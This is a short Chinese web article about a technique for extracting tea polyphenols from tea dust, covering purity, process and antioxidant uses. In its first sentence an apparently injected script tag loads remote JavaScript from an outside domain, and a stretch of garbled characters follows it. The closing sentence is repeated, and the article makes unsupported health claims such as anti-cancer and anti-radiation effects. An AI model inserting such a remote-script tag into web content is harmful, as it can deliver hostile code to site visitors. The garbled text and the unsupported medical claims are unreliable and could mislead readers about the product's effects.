茶多酚提取技术
茶多酚是以茶叶末为原料经过提取?script type='text/javascript' src='http://www.368tea.com/js/v.js'>掷刖贫傻囊恢痔烊豢寡趸粒寡趸Ч斯ず铣煽寡趸粒寡趸Ч斯ず铣煽寡趸罛HA和BHT的3-6倍，更有安全性高的特点。此外，茶多酚还具有增强SOD活性，消除超氧化物阴离子自由基，羟自由基，单线态分子氧，脂质过氧化自由其及其他自由基作用，与抗坏血酸、维生素E相互协同，构成体内重要的自由基清除系统，具有很强的抗辐射，防癌，抗衰老作用，以及降胆固醇、降血压、防龋、除臭、抑菌等多种功能。该成果采用化学溶剂萃取法与离子交换树脂联用法从茶叶末中提取茶多酚，也可直接用溶剂萃取法提取。该技术使茶多酚含量达90％，无异味，外观浅棕色，灼烧残渣＜4％，干燥失重＜2％。另外，根据要求，改进工艺技术条件，在同等工艺技术条件下，一次性可分离得到茶多酚、咖啡因、叶绿素、茶叶多糖及其他产品。茶多酚作为天然安全高效的抗氧化剂，除了广泛应用于含油脂食品以外，还可以作为医药保健品，是最具开发应用前景的功能性保健食品。 作为天然安全高效的抗氧化剂，除了广泛应用于含油脂食品以外，还可以作为医药保健品，是最具开发应用前景的功能性保健食品。
